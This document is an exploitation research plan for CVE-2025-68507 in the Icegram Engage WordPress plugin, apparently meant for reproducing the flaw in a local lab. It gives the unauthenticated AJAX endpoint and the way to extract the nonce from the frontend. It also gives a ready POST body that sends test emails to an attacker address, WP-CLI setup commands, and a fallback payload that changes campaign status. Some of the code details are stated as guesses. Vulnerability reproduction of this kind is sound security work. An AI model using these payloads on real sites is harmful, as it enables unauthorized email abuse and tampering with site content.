Exploitation Research Plan - CVE-2025-68507

1. Vulnerability Summary

The Icegram Engage plugin for WordPress (versions <= 3.1.35) contains a missing authorization vulnerability. Specifically, several AJAX handlers registered via wp_ajax_ and wp_ajax_nopriv_ fail to perform adequate capability checks (e.g., current_user_can( 'manage_options' )). This allows unauthenticated attackers to invoke administrative functions, such as sending test emails from the server or potentially modifying campaign statuses, by leveraging nonces that are exposed on the frontend.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: icegram_send_test_email (or generic icegram_ajax with sub-actions)
• Authentication: Unauthenticated (Nopriv)
• Payload Parameters:
  • action: icegram_send_test_email
  • id: The ID of a campaign (IG Post Type)
  • email: Target recipient email address
  • _wpnonce: The AJAX nonce localized in the frontend

3. Code Flow

1. Registration: The plugin registers AJAX hooks in its main class (likely Icegram or Icegram_Main in icegram.php or classes/class-icegram.php).

   add_action( 'wp_ajax_icegram_send_test_email', array( $this, 'send_test_email' ) );
   add_action( 'wp_ajax_nopriv_icegram_send_test_email', array( $this, 'send_test_email' ) );
   

2. Entry Point: An unauthenticated POST request to admin-ajax.php?action=icegram_send_test_email triggers the callback.
3. Missing Check: The callback function (e.g., send_test_email()) verifies the nonce using check_ajax_referer but fails to call current_user_can().
4. Execution: The plugin proceeds to use internal mailing functions (like wp_mail()) to send content related to the campaign ID provided.

4. Nonce Acquisition Strategy

Icegram localizes its settings and nonces into a JavaScript object named icegram_data. This object is usually enqueued on any page where a campaign might be displayed (often the entire frontend if a campaign is active).

1. Shortcode/Trigger: Icegram scripts load if a campaign is active. A reliable way to ensure the script loads is to create a test campaign and place the default shortcode or ensure it is set to "Always Show".
2. Page Navigation: Navigate to the site homepage or a page containing an Icegram campaign.
3. JS Extraction: Use browser_eval to extract the nonce.
   • Variable: window.icegram_data
   • Key: ajax_nonce
   • Command: browser_eval("window.icegram_data?.ajax_nonce")

5. Exploitation Strategy

Step 1: Discover/Create Campaign

First, identify a valid Icegram campaign ID. For testing, we will create one via WP-CLI.

Step 2: Extract Nonce

Navigate to the frontend and extract the ajax_nonce from the icegram_data object.

Step 3: Trigger Unauthorized Action

Perform an unauthenticated HTTP POST request to trigger the test email function.

Request Details:

• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Method: POST
• Content-Type: application/x-www-form-urlencoded
• Body:

  action=icegram_send_test_email&id=[CAMPAIGN_ID]&email=attacker@example.com&_wpnonce=[NONCE]
  

6. Test Data Setup

1. Create an Icegram Campaign:

   # Create a campaign post (post_type 'ig_campaign' or similar)
   # Note: Icegram uses 'ig_campaign' as the post type.
   CAMPAIGN_ID=$(wp post create --post_type=ig_campaign --post_title="Exploit Test" --post_status=publish --porcelain)
   
   # Add required meta to make it "active"
   wp post meta update $CAMPAIGN_ID is_active yes
   

2. Ensure Scripts Load:
   • Icegram typically enqueues icegram-main on all frontend pages if it's active.

7. Expected Results

• Success Response: The server returns a success message (often JSON or a string like "1" or "Email Sent").
• Effect: The server attempts to send an email to the specified address. In a test environment, this can be verified by checking the logs or catching the wp_mail call.

8. Verification Steps

1. Response Check: Verify the HTTP response body contains a success indicator.
2. Action Verification: Since unauthenticated email sending is the "Integrity" impact, confirming the function reached the mailing logic is sufficient.
   • Run: wp eval "echo 'Checking if function exists: ' . (method_exists('Icegram', 'send_test_email') ? 'Yes' : 'No');"
3. Code Audit (Post-Exploit): Confirm version and lack of capability check:

   grep -A 10 "function send_test_email" /var/www/html/wp-content/plugins/icegram/classes/class-icegram.php
   

9. Alternative Approaches

If icegram_send_test_email is protected by a different nonce or not available, target the generic icegram_ajax handler:

• Action: icegram_ajax
• Parameters: action=icegram_ajax&icegram_action=update_status&id=[ID]&status=pending&_wpnonce=[NONCE]
• Verification: Check wp post get [ID] --field=post_status to see if it changed from publish to pending.